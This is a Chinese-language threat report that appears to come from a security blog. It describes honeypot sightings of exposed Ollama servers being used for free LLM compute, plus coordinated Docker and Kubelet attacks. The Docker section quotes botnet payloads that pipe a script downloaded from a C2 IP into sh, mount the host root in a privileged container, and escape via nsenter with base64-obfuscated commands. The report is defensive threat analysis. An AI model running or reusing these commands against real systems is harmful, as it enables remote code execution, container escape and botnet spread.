Ollama滥用:从交易机器人到内容农场
开放的Ollama实例正被用于生成交易策略代码、制作教育材料以及批量生产SEO内容。德国、美国和俄罗斯的蜜罐系统已记录到对llama3.1:8b和qwen2.5:7b等热门模型的请求。攻击者在利用他人GPU资源前,会先进行侦察、健康检测和并行API端点测试。
侦察与可用性检测
扫描器首先通过基础查询验证实例是否正常运行。常见接口包括:
GET /api/tags—— 列出Ollama API中可用的模型。GET /v1/models—— 返回兼容OpenAI格式的模型列表。GET /api/version—— 获取服务器版本信息。
在美国的一台节点上,一周内记录了244次 /v1/models 请求和58次 /api/tags 请求。一个IP地址每20分钟执行一次健康检查,使用 POST /v1/chat/completions 发送载荷 {"messages": [{"role": "user", "content": "health-check"}]},共重复244次。
模型枚举遵循可预测模式:向llama3.1:8b、qwen2.5:7b、codellama:13b、mistral:7b、deepseek:33b、llama3.2等模型发送如 Hello 或 hi 的简单提示。若模型返回响应,则该实例被视为可用。
滥用行为:任务类型
完成侦察后,真实任务随即展开。目前已观察到三类典型行为。
交易机器人
在美国某节点上,成功完成健康检查后,启动了一个生成交易策略代码的流水线:
{
"messages": [{
"role": "user",
"content": "Write Python 3 code for:\ndef backtest_strategy(prices: list[float]) -> float:\nUse a 10-period fast SMA and 50-period slow SMA crossover on prices, long when fast > slow, flat/short when fast < slow, and return total PnL as a float. Output only that function, no extra text."
}]
}
该提示通过 /api/chat、/v1/chat/completions 和 /v1/completions 在三个模型间重复执行12次。这反映出攻击者系统性地寻找免费后端算力以支持量化交易。
大语言模型客户端代理
一次与中文用户的会话中,GLM客户端转发了完整的对话历史,包含系统提示和先前回复。请求内容为:“做一个学习毛泽东的矛盾论 有30张卡片的anki牌组”。最终测试问题为:“你是什么模型”(What model are you?)。
内容农场
在俄罗斯节点上,使用模板化提示批量生成SEO内容:
Answer the following question thoroughly and in detail.
Question: How have neural networks and deep learning transformed AI?
RULES:
- Write a complete, detailed answer.
- Do NOT repeat the question.
- Do NOT add a preamble.
- Your LAST line must be exactly: ##ANSWER_DONE##
Answer:
##ANSWER_DONE## 这一停止词被解析器用来识别内容生成完成。主题涵盖机器学习与人工智能演进。多个模型并行调用,并采用链式思维推理处理问题。
并行基础设施攻击
Ollama扫描器常与针对Docker(端口2375)和Kubelet(端口10250)的攻击协同进行。
Docker漏洞利用
僵尸网络docker.selfrep(C2: 31.57.216.121)执行以下命令:
{
"Cmd": ["sh", "-c",
"(wget --no-check-certificate -qO- https://31.57.216.121/sh || curl -sk https://31.57.216.121/sh) | sh -s docker.selfrep"]
}
更危险的僵尸网络(C2: 45.194.92.39)使用特权容器:
{
"Image": "alpine",
"Cmd": ["sh", "-c", "echo d2dldCBodHRw...== | base64 -d | sh"],
"HostConfig": {
"Binds": ["/:/host"],
"Privileged": true
}
}
另一种方式:nsenter逃逸:
{
"Cmd": ["nsenter", "--target", "1",
"--mount", "--uts", "--ipc", "--net", "--pid",
"--", "bash", "-c", "echo d2dldCBodHRw...== | base64 -d | sh"]
}
Kubelet侦察行为
对 /api/v1/pods、/healthz 以及机器学习专用接口 /update_weights_from_tensor 的请求,表明攻击者试图定位机器学习工作流。
关键要点
- 未受保护的Ollama实例已被整合进交易、教育和SEO内容生成的自动化流程中,且无需身份验证。
- 健康检查与模型枚举(如 llama3.1、qwen2.5 等)是自动化扫描器的标准行为。
- Docker攻击结合了nsenter逃逸、特权挂载与base64混淆技术。
##ANSWER_DONE##和health-check等标记有助于识别自动化内容农场。- 防护措施应包括本地绑定、反向代理部署及流量监控。
— Editorial Team
暂无评论。